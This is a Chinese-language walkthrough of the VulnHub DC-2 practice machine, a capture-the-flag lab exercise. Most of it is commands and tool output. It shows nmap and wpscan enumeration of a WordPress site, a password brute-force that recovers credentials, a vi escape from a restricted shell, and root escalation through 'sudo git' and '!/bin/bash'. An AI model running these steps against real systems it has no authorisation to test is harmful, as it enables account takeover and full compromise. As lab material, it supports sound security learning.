DC 2
下载地址：https://download.vulnhub.com/dc/DC-2.zip
实战演练
发现靶场IP：192.168.32.160
扫描对外开放端口
┌──(root💀kali)-[~/Desktop]
└─# nmap -sT -sV -p1-65535 192.168.32.160
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-21 22:19 EDT
Nmap scan report for 192.168.32.160
Host is up (0.00097s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.10 ((Debian))
7744/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u7 (protocol 2.0)
MAC Address: 00:0C:29:BA:64:08 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.32 seconds
浏览器访问80端口
会跳转到dc-2的域名，需要本地hosts
┌──(root💀kali)-[~/Desktop]
└─# cat /etc/hosts
192.168.32.160 dc-2再次访问，可以看到有正常的内容，可以看到这是一个wordpress框架
点击页面查看发现有个flag提示，需要使用cewl生成字典
使用wpscan进行扫描
┌──(root💀kali)-[~/Desktop]
└─# wpscan --url http://dc-2
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.14
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[i] It seems like you have not updated the database for some time.
[?] Do you want to update now? [Y]es [N]o, default: [N]N
[+] URL: http://dc-2/ [192.168.32.160]
[+] Started: Tue Jun 21 22:45:26 2022
Interesting Finding(s):
[+] Headers
| Interesting Entry: Server: Apache/2.4.10 (Debian)
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] XML-RPC seems to be enabled: http://dc-2/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access
[+] WordPress readme found: http://dc-2/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://dc-2/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 4.7.10 identified (Insecure, released on 2018-04-03).
| Found By: Rss Generator (Passive Detection)
| - http://dc-2/index.php/feed/, <generator>https://wordpress.org/?v=4.7.10</generator>
| - http://dc-2/index.php/comments/feed/, <generator>https://wordpress.org/?v=4.7.10</generator>
[+] WordPress theme in use: twentyseventeen
| Location: http://dc-2/wp-content/themes/twentyseventeen/
| Last Updated: 2022-05-24T00:00:00.000Z
| Readme: http://dc-2/wp-content/themes/twentyseventeen/README.txt
| [!] The version is out of date, the latest version is 3.0
| Style URL: http://dc-2/wp-content/themes/twentyseventeen/style.css?ver=4.7.10
| Style Name: Twenty Seventeen
| Style URI: https://wordpress.org/themes/twentyseventeen/
| Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a fo...
| Author: the WordPress team
| Author URI: https://wordpress.org/
|
| Found By: Css Style In Homepage (Passive Detection)
|
| Version: 1.2 (80% confidence)
| Found By: Style (Passive Detection)
| - http://dc-2/wp-content/themes/twentyseventeen/style.css?ver=4.7.10, Match: 'Version: 1.2'
[+] Enumerating All Plugins (via Passive Methods)
[i] No plugins Found.
[+] Enumerating Config Backups (via Passive and Aggressive Methods)
Checking Config Backups - Time: 00:00:00 <==============================================================================================================================================================> (137 / 137) 100.00% Time: 00:00:00
[i] No Config Backups Found.
[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 50 daily requests by registering at https://wpscan.com/register
[+] Finished: Tue Jun 21 22:45:30 2022
[+] Requests Done: 171
[+] Cached Requests: 5
[+] Data Sent: 39.584 KB
[+] Data Received: 356.633 KB
[+] Memory used: 226.422 MB
[+] Elapsed time: 00:00:04
枚举wordpress用户
┌──(root💀kali)-[~/Desktop]
└─# wpscan --url http://dc-2 --enumerate u
[+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs - Time: 00:00:00 <===============================================================================================================================================================> (10 / 10) 100.00% Time: 00:00:00
[i] User(s) Identified:
[+] admin
| Found By: Rss Generator (Passive Detection)
| Confirmed By:
| Wp Json Api (Aggressive Detection)
| - http://dc-2/index.php/wp-json/wp/v2/users/?per_page=100&page=1
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
[+] jerry
| Found By: Wp Json Api (Aggressive Detection)
| - http://dc-2/index.php/wp-json/wp/v2/users/?per_page=100&page=1
| Confirmed By:
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
[+] tom
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
使用cewl抓取网站的密码单词
┌──(root💀kali)-[/tmp]
└─# cewl http://dc-2 > password.txt新建用户表
admin
jerry
tom使用wpscan爆破用户密码
┌──(root💀kali)-[/tmp]
└─# wpscan --url http://dc-2 -U user.txt -P password.txt -t 50
[!] Valid Combinations Found:
| Username: jerry, Password: adipiscing
| Username: tom, Password: parturient进入管理后台进行登录
找到flag2提示，说其他地方也可以应用账号密码
使用tom账号发现可以登录ssh
┌──(root💀kali)-[/tmp]
└─# ssh -p 7744 tom@192.168.32.160
tom@192.168.32.160's password:
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
tom@DC-2:~$
/bin 中不存在 cat 程序，而 tom 只能运行 /bin 目录中存在的五个程序。
由于我们有一个受限的 shell，我们发现我们可以使用 Vi 编辑器。因此，我们使用 Vi 编辑器来逃避受限的 shell。
:set shell=/bin/bash
:shell配置shell环境变量
tom@DC-2:~$ export PATH=/bin:/usr/bin:$PATH
tom@DC-2:~$ export SHELL=/bin/bash:$SHELL查看flag3.txt
tom@DC-2:~$ ls
flag3.txt test usr
tom@DC-2:~$ cat flag3.txt
Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.按照提示，切换到jerry用户，密码是jerry的密码
tom@DC-2:~$ su jerry
Password:
jerry@DC-2:/home/tom$ 查看sudo列表
jerry@DC-2:/home/tom$ sudo -l
Matching Defaults entries for jerry on DC-2:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User jerry may run the following commands on DC-2:
(root) NOPASSWD: /usr/bin/git使用git进行提权
git help status
!/bin/bash
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